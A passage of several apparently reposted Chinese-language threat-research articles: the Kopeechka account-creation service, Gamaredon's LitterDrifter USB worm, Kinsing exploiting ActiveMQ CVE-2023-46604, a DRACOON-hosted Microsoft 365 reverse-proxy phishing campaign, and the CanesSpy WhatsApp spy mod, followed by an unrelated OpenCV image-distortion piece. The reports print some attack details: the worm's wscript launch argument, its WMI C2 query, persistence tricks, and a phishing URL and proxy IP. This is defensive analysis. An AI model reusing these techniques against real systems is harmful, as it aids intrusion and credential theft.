ZennoPoster的開發者ZennoLab銷售數十種與社交媒體平台和其他在線網站互動相關的自動化任務。其中一個自動化任務是X(以前的Twitter)的腳本，它將通過X帳戶並向其所有關注者發送消息。因此，這個帳戶可以用來發送垃圾郵件。

13.png

ZennoLab還提供其他可能被攻擊者濫用的產品

ZennoLab也有CAPTCHA識別和代理搜索或檢查服務。

值得注意的是，Kopeechka鼓勵用戶使用ruCaptcha驗證碼解決服務，並提供5%的退款。

14.png

Kopeechka通過提供5%的退款來推廣RuCaptcha服務

Kopeechka還為開發者和用戶提供了一個協作計劃。雖然在軟件中使用Kopeechka API的開發者可以獲得銷售額的10%，但通過附屬鏈接說服更多人使用Kopeechka的用戶可以獲得每個新用戶在Kopeechka上消費金額的10%。

上傳二手郵件的用戶也將獲得郵件銷售額的一定提成。

15.png

Kopeechka的附屬項目

Kopeechka在地下論壇的活動在地下論壇宣傳這項服務自2019年2月成立以來，Kopeechka一直在宣傳自己的服務，每次更新後，Kopeechka都會定期更新其在攻擊者論壇上的廣告線索。

16.png

攻擊論壇上Kopeechka更新的帖子

目前，Kopeechka的俄語Telegram頻道有大約1000名訂戶，英語Telegram頻道有440名訂戶。

尋找漏洞除了在攻擊者的地下論壇上做廣告外，Koppechka的使用者似乎也對尋找漏洞很感興趣。可以在不同的論壇上看到很多使用Kopeechka這個名字的人，他們對利用漏洞進行攻擊很感興趣。在許多論壇上，攻擊者只與那些回復相關主題的人分享內容，這使得識別Kopeechka使用者感興趣的內容變得容易。此外，Kopeechka使用者有時也會就這些論壇上宣傳的產品或服務提出問題。

2022年6月，一名用戶在論壇上發布了一則廣告，介紹了一個據稱可以繞過Gmail的漏洞。一位名為kopeechka的用戶在2023年3月回復了關於這個漏洞的問題，並詢問它是否仍然是最新的。

在另一個論壇上，一位名叫Kopeechka的用戶回復了關於如何破解包括Spotify、Netflix、Steam在內的社交媒體賬戶的帖子，以及關於使用Black Bullet和一款名為OpenBullet的免費網絡測試軟件的帖子。

2020年，Kopeechka使用者還在一個論壇上發帖，請求幫助製作“一批不廣泛使用的文件，其保護與文憑大致相同”。雖然不知道他們想要提供什麼樣的文件，但這個請求很可疑，因為它背後的目的可能是提交虛假文件，以滿足各種服務提供商或管理部門的要求。

Kopeechka的用途Kopeechka幾乎可以用於任何需要處理帳戶註冊的服務。

在調查最近的一次大規模加密貨幣騙局時，我們報告了對Mastodon社交網絡的濫用，突然發現數百個新賬戶被創建，向Mastodon用戶推廣虛假加密貨幣網站。 Brian Krebs在今年早些時候討論了Kopeechka服務是如何被用來大規模註冊Mastodon賬戶的。

Mastodon是一個免費的開源社交網絡程序，一個商業平台的替代方案，避免了單個公司壟斷你溝通的風險。選擇你信任的服務器，無論選擇的是哪個，你都可以與其他人進行互動。

機器人還使用Kopeechka來輕鬆創建帳戶。目前已經可以看到通過Kopeechka API創建社交媒體帳戶的代碼，包括Discord, Telegram和Roblox帳戶的腳本。

17.png

在線提供一個Discord帳戶生成器代碼

18.png

Kopeechka上的一個自動kick.com帳戶生成器

19.png

一名攻擊者以每月50美元的價格出售在Kopeechka創建的Reddit賬戶

20.png

出售使用Kopeechka創建的coinmarketcap（加密貨幣市場網站）賬戶，售價150美元

此外，發現的可用於創建VirusTotal帳戶的Python腳本，表明一些用戶可能會註冊這些帳戶以測試惡意軟件檢測。

根據觀察，Kopeechka越來越受攻擊歡迎，在其上面買賣更有保障。

官方的Kopeechka API本身是大規模提供的，允許它集成到任何類型的代碼中。它存在於大多數開發人員的平台上，包括Python包索引（PyPI）、NuGet、GitHub和npm。

總結Kopeechka的服務可以提供一種簡單而實惠的方式來大規模創建在線賬戶，這對攻擊者很有幫助。 Kopeechka的客戶使用這項服務可以輕鬆創建大量賬戶，而無需短信和電子郵件驗證。

雖然Kopeechka主要用於創建多個賬戶，但攻擊者也可以使用它來為自己的活動增加一定程度的匿名性，因為他們不需要使用自己的電子郵件地址在社交媒體平台上創建賬戶。

為此，只有電子郵件服務提供商共同協作，加強他們的註冊流程，才能解決Kopeechka問題。不過，這一努力可能通過人工智能來實現，人工智能可以提供檢測自動賬戶註冊的方法。

HireHackking

微信截图_20231118184928.png

Gamaredon又被稱為Primitive Bear、ACTINIUM和Shuckworm，它的大規模活動通常伴隨著針對特定目標的數據收集工作，這些目標的選擇一般是出於間諜目的。這些活動與部署各種機制和工具並行，機制和工具又盡可能多地保持對這些目標的訪問。其中一種工具是USB傳播蠕蟲，我們將其命名為LitterDrifter。

LitterDrifter蠕蟲是用VBS編寫的，有兩個主要功能:在USB驅動器上自動傳播，以及與廣泛、靈活的命令和控制服務器進行通信。這些特性以與組織目標一致的方式實現，在廣泛目標上維護持久的命令和控制(C2)通道。

接下來，我們將深入分析Gamaredon的LitterDrifter惡意軟件及其C2基礎設施。

Gamaredon的攻擊目標包括烏克蘭、美國、越南、智利、波蘭和德國等多個國家。

1.png

LitterDrifter提交的病毒總數

該組織最近開始部署LitterDrifter，旨在通過可移動USB驅動器傳播並保護C2通道。

LitterDrifter概述LitterDrifter是一種自我傳播的蠕蟲，具有兩個主要功能：在驅動器上傳播，並建立通往Gamaredon廣泛指揮和控制基礎設施的C2通道。這兩個功能駐留在一個以“trash.dll”形式保存到磁盤的業務流程組件中，儘管它有文件擴展名，但它實際上就是一個VBS。

2.png

LitterDrifter高級執行流程

dll作為初始的編排組件，其中運行的主要功能是解碼和執行其他模塊，並在受害者環境中保持初始持久性。

成功執行後，它將運行提取的兩個模塊：

1. 散佈器（Spreader）模塊：在系統中傳播惡意軟件，並通過優先感染mediatype=NULL的邏輯磁盤(通常與USB可移動媒體相關)，將其傳播到其他環境。

2. C2模塊：通過生成內置C2服務器的隨機子域來檢索命令和控制服務器IP地址，同時還維護一個備份選項，以便從Telegram通道檢索C2 IP地址。它的主要目的是建立與攻擊者CC服務器的通信，並執行傳入的有效負載。

Dumpster Diving（垃圾搜索）DEOBFUSCODER去混淆編碼編排組件(稱為DEOBFUSCODER)是嚴重混淆的，它是由一系列帶有字符替換混淆的字符串構造的，由7個具有名稱混淆的函數和變量組成。在“Deobfucate”操作的整個運行過程中，LitterDrifter調用一個函數，該函數將執行延遲幾秒鐘(具體時間因示例而異)，以延遲後續操作。

main函數接受兩個編碼字符串(另外兩個惡意組件)作為參數。然後，它在用戶的“Favorites”目錄下聲明了兩個路徑，用於存儲來自VBS的其他2個編碼組件的兩個解碼腳本。

為了確保其持久性，Deobfuscoder將原始腳本複製到用戶目錄中名為“trash.dll”的隱藏文件中。

腳本對提供的編碼字符串進行解碼，並將它們作為有效負載組件“jersey.webm”和擴展程序組件“jaw.wm”寫入“收藏夾”目錄，文件的名稱和擴展名以及%userprofile%中的位置因變體而異。

在創建這些文件之後，惡意軟件繼續為這兩個組件中的每一個設置計劃任務，確保它們定期執行。此外，它在註冊表運行項中為用戶的啟動項添加了一個條目，以確保它們在啟動時運行。

任務和啟動條目都使用聽起來像“RunFullMemoryDiagnostic”和“ProcessMemoryDiagnosticEvents”這樣的技術名稱進行偽裝，以顯得合法並避免引起懷疑。

3.png

編排器DEOBFUSCODER的Main Function解混淆片段

整個流程被模糊的函數和變量名以及內聯腳本的使用故意模糊，這使得一般的觀察者很難辨別其意圖和活動。

Spreader模塊分析Spreader模塊的核心本質在於遞歸地訪問每個驅動器中的子文件夾，並創建LNK誘餌快捷方式，以及隱藏的“trash.dll”文件副本。

4.png

trash.dll作為一個隱藏文件與一個誘餌LNK一起分佈在USB驅動器中

在執行時，該模塊使用Windows Management Instrumentation (WMI)查詢計算機的邏輯驅動器，並蒐索MediaType值設置為null的邏輯磁盤，這是一種通常用於識別可移動USB驅動器的方法。

5.png

LitterDrifter的散佈器組件

對於檢測到的每個邏輯驅動器，傳播程序調用createShortcutsInSubfolders函數。在這個函數中，它將所提供文件夾的子文件夾迭代到深度2。

對於每個子文件夾，它使用createsshortcut函數作為“Create LNK”操作的一部分，該操作負責生成具有特定屬性的快捷方式。這些快捷方式是從代碼中的數組中隨機選擇名稱的LNK文件。一個誘餌名稱示例如'Bank_accоunt', 'постановa', 'Bank_accоunt', 'службовa', 'cоmpromising_evidence'。 LNK文件使用wscript.exe***執行帶有指定參數“”“trash.dll”“/webm//e:vbScript//b/wm/cal”的“trash.dll”。除了生成快捷方式外，該函數還在子文件夾中創建一個隱藏的“trash.dll”副本。

6.png

Spreader組件中用於迭代子文件夾的函數

C2模塊分析：清除垃圾Gamaredon的CC方法是非常獨特的，因為它使用域作為C2服務器的流通IP地址的佔位符。

在嘗試聯繫C2服務器之前，腳本檢查%TEMP%文件夾中是否有一個現有的C2配置文件，該文件的名稱在惡意軟件中是硬編碼的。這種機製作為惡意軟件的自檢，驗證它是否已經感染了設備。如果存在，當前執行可能只是由前面討論的持久性機制觸發的計劃執行；如果沒有現有的配置文件，惡意軟件將切換設備並使用WMI查詢ping Gamaredon的其中一個域：select * from win32_pingstatus where address='Write

7.png

LitterDrifter使用WMI查詢檢索C2 IP地址

有了IP地址，LitterDrifter將IP構造成URL。格式通常為http://

最終的結果是一個用戶代理，看起來類似於mozilla/5.0 (windows nt 6.1; wow64) applewebkit/537.36 (khtml, like gecko) chrome/88.0.4324.152 yabrowser/21.2.3.106 yowser/2.5 safari/537.36;

8.png

LitterDrifter準備HTTP請求，構造URL和用戶代理

請求的HTTP標頭也經過精心定制。例如，在一個樣本中，Referer字段包含https://www.crimea.kp.ru/daily/euromaidan/，它還在Cookie字段中隱藏了Accept-Language和字符串marketCookie的一些細節。

9.png

HTTP請求函數

LitterDrifter使用一個失敗計數器來選擇哪個C2方法是相關的。每次C2未能返回有效負載或Telegram備份通道時，失敗計數器都會增加，LitterDrifter從中提取替代C2。代碼流表明，要返回的第一個答案通常是一個Telegram頻道ID，它保存在備份文件中。

根據失敗計數，LitterDrifter選擇連接哪個C2：

1.如果失敗計數器當前設置為0，則對保存在配置文件中的文件執行請求。

2.如果失敗計數器當前設置為1，LitterDrifter將嘗試使用WMI Query解析其嵌入的C2域，如前所述。

3.如果失敗計數器設置為2,LitterDrifter嘗試連接到從Telegram備份通道提取的C2，使用不同的用戶代理和https://www.interfax.ru/tags/的Referer，這是另一個俄羅斯新聞網站，它會從中提取一個用作C2的IP地址。

10.png

Gamaredon的Telegram頻道隱藏了一個CC的IP地址

如果在C2應答中找到有效負載，LitterDrifter將嘗試解碼它。它打開所有base64內容，並嘗試運行解碼後的數據。根據分析，負載沒有下載到大多數目標。

11.png

LitterDrifter的失敗計數選項和接收有效負載的執行(去混淆)

基礎設施在整個分析過程中，Gamaredon在這次行動中使用的基礎設施有明顯的模式。包括註冊模式，因為Gamaredon的LitterDrifter使用的所有域名都是由REGRU-RU註冊的，並且是TLD .ru的一部分。

這些發現與過去關於Gamaredon基礎設施的其他報告一致。

基於其中的一些模式，我們能夠將特定的域和子域與LitterDriffter的活動聯繫起來，並將其他域與Gamaredon的其他活動集群聯繫起來。

在LitterDrifter活動中，C2模塊通過WMI查詢獲得gamaredon擁有的域的解析。它通過使用隨機單詞和數字生成硬編碼域的隨機子域來實現這一點，因此每個域都顯示出不同範圍的相關子域。有些域只有幾個子域，而另一些則有幾百個子域。下圖表顯示了每個域的子域數量:

12.png

每個域的子域數量

如前所述，對Gamaredon域的WMI查詢返回一個IP地址，該地址用作活動的操作C2。平均而言，一個IP地址可以運行大約28小時。但是，作為活動C2的IP地址通常一天會更改幾次，所使用的所有IP地址都可能屬於同一子網，如下所示:

13.png

過去兩個月每天的CC IP地址數目

總結很明顯，LitterDrifter是為支持大規模收集操作而設計的，它利用簡單而有效的技術，盡可能觸及廣泛的目標，但LitterDrifter並不依賴於突破性的技術，可能看起來是一個相對簡單的惡意軟件。

HireHackking

我們發現利用Apache ActiveMQ漏洞CVE-2023-46604下載並攻擊Linux系統的Kinsing惡意軟件(也稱為h2miner)和加密貨幣礦工被利用時，此漏洞會導致遠程代碼執行(RCE)， Kinsing使用它來下載和安裝惡意軟件。

該漏洞本身是由於OpenWire命令未能驗證未經檢測類類型而導致RCE。

ActiveMQ(用Java編寫)是一個由Apache開發的開源協議，它實現了面向消息的中間件(MOM)。它的主要功能是在不同的應用程序之間發送消息，還包括STOMP、Jakarta Messaging (JMS)和OpenWire等附加特性。

Kinsing惡意軟件是一種主要針對基於linux的系統的嚴重威脅，可以滲透服務器並在網絡中迅速傳播。它通過利用web應用程序或配置錯誤的容器環境中的漏洞進入。

最近，Kinsing背後的攻擊組織一直在利用CVE-2023-4911 (Looney Tunables)漏洞。一旦Kinsing攻擊了一個系統，它就會部署一個加密貨幣挖掘腳本，利用主機的資源來挖掘比特幣等加密貨幣，從而對基礎設施造成嚴重破壞，並對系統性能產生負面影響。

受影響的ActiveMQ版本以下是受CVE-2023-46604漏洞影響的Apache ActiveMQ版本：

Apache ActiveMQ 5.18.0 5.18.3之前的版本；

Apache ActiveMQ 5.17.0 5.17.6之前的版本；

Apache ActiveMQ 5.16.0 5.16.7之前的版本；

5.15.16之前的Apache ActiveMQ；

Apache ActiveMQ Legacy OpenWire Module 5.18.0 before 5.18.3；

Apache ActiveMQ Legacy OpenWire Module 5.17.0 before 5.17.6；

Apache ActiveMQ Legacy OpenWire Module 5.16.0 before 5.16.7；

Apache ActiveMQ Legacy OpenWire Module 5.8.0 before 5.15.16；

建議用戶將Java OpenWire代理和客戶機升級到版本5.15.16、5.16.7、5.17.6或5.18.3，因為其中任何一個版本都可以修復此漏洞。

CVE-2023-46604補丁差異基於AMQ-9370，我們能夠檢查漏洞出現的根本原因，與OpenWire命令解組時可拋出類類型驗證有關的問題。

OpenWire是一種二進制協議，專門設計用於處理面向消息的中間件。它充當ActiveMQ的本機連接格式，ActiveMQ是一個廣泛使用的開源消息傳遞和集成平台，與其他格式相比，OpenWire的二進制格式提供了幾個優勢，比如它對帶寬的有效利用以及支持多種消息類型的能力。這些特性使其成為需要可靠和高性能消息傳遞系統的企業和組織的理想選擇。

基於補丁差異，我們可以看到validateIsThrowable方法已經包含在BaseDataStreamMarshall類中。

1.png

validateIsThrowable方法包含在BaseDataStreamMarshall類中

2.png

無法驗證Throwable類的類類型

當編組器無法驗證Throwable (Java中表示異常和錯誤的對象)的類類型時，它可能會意外地創建並執行任何類的實例。這將導致RCE漏洞允許攻擊者在服務器或應用程序上執行任意代碼。因此，必須確保始終驗證Throwable的類類型，以防止潛在的安全風險。

檢測自11月初以來，已經出現了幾起活躍樣本。這些報告是關於積極利用CVE-2023-46604的攻擊者(例如HelloKitty勒索軟件家族背後的攻擊者)，以及Metasploit和nucleus等概念驗證漏洞。考慮到CVE-2023-46604的CVSS評分為9.8，總體檢測率仍然很低。

基於Kinsing使用的漏洞，我們提供了一個可用於掃描的YARA規則：

3.png

惡意利用CVE-2023-46604漏洞目前，存在利用ProcessBuilder方法在受影響的系統上執行命令的公開漏洞。在Kinsing的背景下，CVE-2023-46604被用來在易受攻擊的系統上下載和執行Kinsing加密貨幣礦工和惡意軟件。

4.png

使用ProcessBuilder方法進行開發

一旦成功利用，加密貨幣礦工和惡意軟件將下載惡意安裝程序，然後使用bash執行惡意腳本。

5.png

通過bash執行惡意腳本

一旦bash腳本被執行，Kinsing惡意軟件就會從命令與控制(CC)服務器為各種體系結構下載額外的二進製文件和有效負載。

6.png

從CC服務器下載額外的二進製文件和有效負載

Kinsing惡意軟件的一個有趣特徵是，它在進程、crontab和活動網絡連接中積極尋找正在活動的加密貨幣礦工，例如與Monero綁定的礦工或利用Log4Shell和WebLogic漏洞的礦工，然後繼續阻止它們的進程和網絡連接。此外，Kinsing從受攻擊主機的crontab中刪除有競爭關係的惡意軟件和礦工。

7.png

為Kinsing二進製文件分配一個Linux環境變量，然後執行它。

8.png

最後，Kinsing每分鐘添加一個cronjob來下載並執行它的惡意引導腳本。

9.png

每分鐘負責下載和執行Kinsing的惡意引導腳本的cronjob

這確保了受影響主機上的持久性，並確保最新的惡意Kinsing二進製文件在受影響主機上可用。

Kinsing通過在/etc/ld.so中加載它的rootkit來加倍地使用它的持久性和攻擊性預加載，完成一個完整的系統攻擊。

10.png

加載Kinsing rootkit“/etc/ld.so.preload”

總結CVE-2023-46604漏洞仍然在被各種攻擊者利用，例如Kinsing惡意軟件利用背後的組織，濫用此漏洞執行惡意活動。

使用有Apache ActiveMQ時必須立即採取行動，盡快修補CVE-2023-46604漏洞，並降低與Kinsing相關的風險。鑑於惡意軟件跨網絡傳播和善於利用其他漏洞的特點，當務之急要維護最新的安全補丁，定期審計配置，並監控網絡流量異常活動，這些都是綜合網絡安全戰略的關鍵組成部分。

HireHackking

最近發現的網絡釣魚活動，涉及攻擊者發送包含DRACOON.team鏈接的社交工程電子郵件。 DRACOON.team是一個以安全數據存儲、管理和文件共享功能而聞名的文件共享解決方案。當受害者被誘騙訪問電子郵件中的鏈接時，他們會收到一份託管在DRACOON上的PDF文檔。該文檔包含一個輔助鏈接，將受害者引導到攻擊者控制的服務器，該服務器模擬了Microsoft 365登錄門戶，並充當反向代理竊取受害者的登錄信息和會話cookie。

這些被盜的憑據和cookie可以用來繞過多因素身份驗證（MFA），攻擊者控制的反向代理充當介於目標和合法身份驗證終端(如Microsoft 365登錄頁面)之間的中間服務器。當受害者與虛假登錄頁面交互時，反向代理顯示真正的登錄表單，管理傳入請求，並傳遞來自合法Microsoft 365登錄頁面的響應。

當用戶在頁面上輸入受害者憑據後，可以立即觀察到使用Microsoft 365的登錄活動。該活動包括自動訪問受害者的郵箱，並進一步傳播初始網絡釣魚郵件，這些電子郵件包含用於欺騙受害者的相同鏈接，並發送到存儲在其地址簿中的聯繫人。

反向代理功能被認為與EvilProxy網絡釣魚套件有關。但是，這裡討論的最近的活動不使用重定向。相反，它使用中間鏈接到包含到攻擊者控制的基礎設施鏈接的文件。這種新方法可以繞過電子郵件安全緩解措施，因為初始鏈接似乎來自合法來源，並且沒有文件被傳遞到受害者的終端，因為包含該鏈接的託管文檔可以通過瀏覽器中的文件共享服務器與之交互。

1.png

憑證獲取事件鏈

針對這些事件，有關安全團隊已經掃描並刪除了其服務託管的潛在網絡釣魚附件。此外，被認定負責上傳附件的賬戶已被標記為違反其服務條款而被刪除。

調查釣魚郵件網絡釣魚郵件來自受害者的供應商，該供應商為他們提供特定的商品和服務。我們懷疑供應商組織內的一名用戶的電子郵件遭到攻擊，並被用來向受害者發送網絡釣魚郵件。

下圖顯示了受害者收到的釣魚電子郵件樣本的截圖，該郵件巧妙地偽裝成了一份採購訂單，它在文檔鏈接的標題中包含了供應商的名稱，使其更加合法。

2.jpg

釣魚郵件截圖

該鏈接將用戶重定向到以下URL:

https[:]//dracoon[.]team/public/download-shares/RjqetKkzebun7rB6OWWI3kPcpZ3RruPA

這個重定向的鏈接指向一個存放在Dracoon（德國企業高度安全數據交換平台）網站上的公開共享的PDF文件，用戶可以直接與PDF文件交互，而無需下載它，這樣就減少了存儲在磁盤上的可追踪證據。

3.png

Dracoon託管PDF文件，該文件包含到攻擊者控制的反向代理服務器的鏈接

點擊鏈接將用戶重定向到一個虛假的Microsoft 365頁面，該頁面充當Microsoft 365登錄請求的反向代理，在此過程中促進了用戶憑證的盜竊。通過URL可以識別，該網站明顯是在冒充微軟365登錄頁面，合法的微軟365登錄頁面應該是https://login.microsoftonline.com/。

4.jpg

在攻擊者控制的反向代理服務器上託管的Microsoft 365登錄頁面截圖

在檢查登錄頁面的頁面源時，有一個對名為myscr759609.js的JavaScript文件的引用，該文件包含一組數學函數和算術運算。

5.png

查看虛假登錄頁面源數據

6.jpg

myscr759609.js(檢測為Trojan.HTML.PHISH.QURAAOOITB)的內容，其中包含算術和數學函數

當使用Node.js在本地執行時，myscr759609.js被解混淆，顯示如下圖所示的HTML代碼。 HTML內容清楚地表明myscr759609.js負責憑證收集、記錄這些憑證，然後通過POST請求將收集到的信息上傳到未公開的網頁。

7.jpg

解混淆後的JavaScript，檢測為trojan . html . phish . quraaooithb

通過檢查Microsoft 365登錄事件和MFA日誌，我們可以確認反向代理212.83.170.137的存在，正如設備登錄事件列表和相應的登錄位置所證明的那樣。通過交叉引用趨勢科技Vision One的數據和微軟365登錄事件，我們成功地確定了需要立即關注的賬戶。

8.jpg

檢查Microsoft 365登錄事件

此外，MFA事件還提供了有關受攻擊賬戶的寶貴信息。通過將用戶與釣魚頁面交互的時間戳與mfalog中記錄的時間戳進行比較，這些數據使我們能夠調查用戶是否在無意中洩露了他們的憑據。

9.jpg

檢查MFA認證日誌

基於趨勢管理的擴展檢測和響應(MxDR)的調查使用Vision One後，事件序列變得顯而易見。從截圖中可以明顯看出，這封釣魚郵件是發送到一個微軟Outlook賬戶的，用戶接著點擊了嵌入的鏈接，鏈接將他們重定向到Dracoon服務上的PDF文件。

10.jpg

通過Vision One檢查一系列事件

PDF文件包含一個附加鏈接，將用戶引導到反向代理憑證收集頁面，如下圖中的事件所示：託管在Dracoon服務上的文檔既可以下載，也可以通過服務內置的PDF查看器進行交互，它允許用戶通過瀏覽器與文檔進行交互。

11.jpg

通過Vision One檢查一系列事件

評估網絡釣魚攻擊的影響在事件響應中至關重要，這為了解組織中受影響帳戶的範圍提供了有價值的線索。經過分析，我們能夠徹底確定網絡釣魚電子郵件的收件人和那些與網絡釣魚鏈接交互的人。

此外，我們的調查還揭示了這次網絡釣魚活動中使用的一系列額外的Dracoon鏈接。這些鏈接還冒充微軟365，目的是竊取憑證並使用會話cookie繞過MFA。

安全建議MFA經常被稱讚為防止憑證盜竊和未經授權訪問的強大防禦。雖然它是一個強大的安全工具，但要認識到，當涉及到保護在線帳戶和敏感信息時，MFA並不是靈丹妙藥。

當考慮到像EvilProxy攻擊這樣的威脅時，MFA的局限性就變得很明顯了，這些攻擊者可以攔截和操縱網絡流量，有效地繞過MFA提供的附加安全層。

託管的PDF文件為攻擊者提供了規避電子郵件安全措施的有效手段。通過濫用合法的文件共享服務，攻擊者能夠在逃避檢測的同時顯著提高他們的成功率，合法服務通常可以繞過大多數現有的安全措施，使它們成為攻擊者的誘人工具。

來自已知或可信發件人的電子郵件並不能保證它們完全合法，用戶在點擊鏈接或下載附件時必須保持警惕和謹慎，即使是來自可信來源。

定期進行安全意識培訓和全面的培訓，對用戶進行安全意識教育。通過提供詳細的信息和實用的指導，用戶可以深入了解潛在的風險以及如何緩解風險。此外，有必要強調在訪問目標url之前驗證其合法性的重要性。

我們不應假設所有網址都是安全的，而應鼓勵用戶謹慎行事，並採用可靠的方法來確認所訪問網站的真實性和安全性，定期進行網絡釣魚攻擊模擬演習是提高員工意識的最佳方法。

實現防網絡釣魚MFA，通過實現能夠抵禦網絡釣魚攻擊的MFA方法(例如使用YubiKey等設備的基於fido的身份驗證或無密碼MFA)，組織可以顯著加強其身份驗證過程並防止憑證被盜。

電子郵件安全，組織可以通過實施電子郵件安全解決方案來保護員工和用戶免受惡意電子郵件的威脅。實現基於域的消息認證、報告和一致性(DMARC)、發件人策略框架(SPF)和域密鑰識別郵件(DKIM)也將增強電子郵件的安全性。

持續監控，強烈建議建立一個強大的持續監控系統，集中收集和密切監控日誌，特別是Microsoft 365訪問和MFA日誌，以便及時識別、調查和響應任何可疑的訪問活動。

HireHackking

sl-green-eye-binary-spyware-1200-1200x600.jpg

一些流行的即時通訊服務經常會缺乏某些自定義功能，為了解決這個問題，第三方開發者會開發出一些mod（修改或增強程序），來提供一些受歡迎的功能。但其中一些mod在提供增強功能的同時也會加入一些惡意軟件。去年，卡巴斯基實驗室的研究人員在WhatsApp的一個mod中發現了Triada木馬。最近，他們又發現了一個嵌入間諜mod的Telegrammod，可通過Google Play傳播。

WhatsApp現在的情況與此相同：研究人員發現幾個之前無害的mod包含一個間諜mod，他們將該mod檢測為Trojan-Spy.AndroidOS.CanesSpy。

間諜mod是如何運行的？研究人員將通過80d7f95b7231cc857b331a993184499d示例來說明間諜mod的工作過程。

木馬化的客戶端清單包含在原始WhatsApp客戶端中找不到的可疑組件(服務和廣播接收器)。廣播接收器偵聽來自系統和其他應用程序的廣播，例如手機開始充電，收到的文本消息或下載程序完成下載；當接收方收到這樣的消息時，它調用事件處理程序。在WhatsApp間諜mod中，當手機開機或開始充電時，接收方會運行一項服務，啟動間諜mod。

1.png

可疑的應用組件

該服務查看惡意軟件代碼中的Application_DM常量，以選擇受攻擊設備將繼續聯繫的命令與控制(CC)服務器。

2.png

選擇命令和控制服務器

當惡意植入啟動時，它會沿著路徑/api/v1/AllRequest向攻擊運營商的服務器發送包含設備信息的POST請求。這些信息包括IMEI、電話號碼、移動國家代碼、移動網絡代碼等。該木馬還請求配置細節，例如上傳各種類型數據的路徑、向CC請求之間的間隔等。此外，該mod每五分鐘傳送一次有關受害者聯繫人和賬戶的信息。

3.png

在設備信息成功上傳後，惡意軟件開始以預先配置的間隔(默認為一分鐘)向CC詢問指令，開發人員稱之為“命令”。下表包含惡意軟件用於向服務器發送響應的命令和路徑的詳細描述：

4.png

發送到指揮控制服務器的信息引起了研究人員的注意，它們都是阿拉伯語，這表明開發者會說阿拉伯語。

WhatsApp間諜mod的攻擊目標在發現WhatsAppmod中的間諜mod後，研究人員決定找出它們是如何傳播的。分析發現，Telegram是主要來源。研究人員發現了一些Telegram通道，主要是阿拉伯語和阿塞拜疆語，其中最受歡迎的節目就有近200萬訂閱者。研究人員提醒Telegram，這些通道被用來傳播惡意軟件。

5.png

在從每個通道下載最新版本的mod (1db5c057a441b10b915dbb14bba99e72, fe46bad0cf5329aea52f8817fa49168c, 80d7f95b7231cc857b331a993184499d)後，研究人員發現它們包含上述間諜mod，這驗證了假設。

鑑於惡意軟件組件不是原始mod的一部分，研究人員檢查了幾個最近的版本，並確定了第一個被攻擊的版本。根據調查結果，該間諜軟件自2023年8月中旬以來一直活躍。在撰寫本文時，自那時以來在通道上發布的所有版本都包含惡意軟件。然而，後來(如果根據APK中的時間戳判斷，大約在10月20日左右)，至少一個通道中的至少一個最新版本被替換為一個乾淨的版本。

6.png

受攻擊應用程序中的DEX時間戳(左)和未攻擊版本中的DEX時間戳(右)

除了Telegram渠道，受攻擊的mod還通過各種可疑的網站傳播，這些網站專門用於修改WhatsApp。

新型WhatsApp間諜軟件的攻擊範圍10月5日至31日期間，卡巴斯基安全解決方案在100多個國家發現了34萬多次由WhatsApp間諜mod發起的攻擊。不過，如果考慮到傳播渠道的性質，實際安裝數量可能會高得多。攻擊次數最多的五個國家是阿塞拜疆、沙特阿拉伯、也門、土耳其和埃及。

7.png

按發現的WhatsApp間諜mod攻擊次數排名的前20個國家

總結研究人員看到包含惡意軟件代碼的即時通訊應用mod數量有所增加。 WhatsApp的mod大多是通過第三方Android應用商店傳播的，這些應用商店往往缺乏篩選，無法清除惡意軟件，其中如第三方應用商店和Telegram通道，很受歡迎。但為避免丟失個人數據，建議只使用官方即時通訊客戶端；如果用戶需要額外的功能，建議使用一個可靠的安全解決方案，可以檢測和阻止惡意軟件，以防被mod攻擊。

HireHackking

高質量圖像對於包括安全和車載攝像系統在內的各種解決方案以及開發和訓練用於圖像處理任務的機器學習算法至關重要。

然而，物理相機傳感器經常會導致照片失真。這些扭曲會顯著降低圖像質量，甚至使您的解決方案無法處理圖像。

在本文中，我們將探討什麼是圖像失真以及消除它們的重要性。我們還展示瞭如何使用OpenCV 修復圖像失真。本文對於致力於具有圖像處理功能的IT 解決方案、想要了解有關修復圖像失真的更多信息的企業和開發團隊將有所幫助。

什麼是圖像失真？它們如何影響您的解決方案的性能？圖像失真通常是圖形圖像與其現實原型的不成比例、不充分的偏差。例如，現實生活中的直線或平行線可能會出現變形或不自然的彎曲。另一個例子是與照明相關的扭曲，例如當顏色朝圖像邊界變暗時，類似於漸暈。

並非所有的扭曲都是不利的。例如，您可能希望在使用廣角鏡頭拍攝的圖像中保留特定的畸變，以突出顯示前景和背景之間的距離。

然而，通常情況下，您需要相機來拍攝精確的圖像。對於某些技術來說，獲得零失真的圖像至關重要。

1701422944707.png

確保圖像無失真對於開發機器學習(ML) 解決方案和訓練人工智能(AI) 網絡執行圖像處理任務極其重要。

訓練數據集必須一致（相似的示例必須具有相似的標記）且統一（所有屬性的值必須在所有數據中具有可比性）。質量差的數據集會降低人工智能算法訓練過程的效率。

在某些情況下，可以故意將扭曲的圖像放置在數據集中。例如，您可能想要訓練算法來處理由具有不同失真的不同相機拍攝的圖像。然而，如果來自不同相機的圖像在扭曲的形式和程度方面存在顯著差異，那麼將此類圖像包含在一個數據集中將破壞一致性和均勻性要求。因此，不可能有效地訓練人工智能算法來提供所需的結果。

圖像質量對於使用計算機視覺和增強現實(AR) 技術的軟件也至關重要。

假設您正在使用一個複雜的解決方案，該解決方案使用兩個或更多相機從不同角度拍攝照片。您可能需要組合多個圖像才能接收三維圖像，就像車輛360 度攝像頭系統中使用的圖像一樣。或者您可能希望通過拼接多張照片來擴展視圖，以生成整個場景的高分辨率全景圖像。如果不校準（切除）相機傳感器，連接圖像之間的拼接將是可見的。

要解決這些問題，您需要修復圖像失真。在討論如何做到這一點之前，我們先簡要探討一下此類扭曲的常見類型。

圖像失真的類型為了有效地校正圖像，首先必須了解您正在處理什麼類型的失真。圖像畸變有兩種類型：徑向畸變和切向畸變。

當光學傳感器與光學透鏡成角度放置時，會發生切向畸變。

image.png

以下是拍攝方形物體時切向畸變如何工作的示例：

image.png

徑向畸變是指從圖像中心到邊緣的線條曲率，反之亦然。徑向畸變分為三種類型：

1.當圖像放大率隨著距光軸的距離而減小時，就會出現桶形畸變。

2.當圖像放大倍數隨著距光軸的距離而增加時，就會出現枕形畸變。

3.小鬍子失真（也稱為波形失真）比前兩種類型發生的情況要少得多，並且本質上是它們的混合。鬍鬚畸變開始時是靠近圖像中心的桶形畸變，並逐漸變成朝向圖像外圍的枕形畸變。

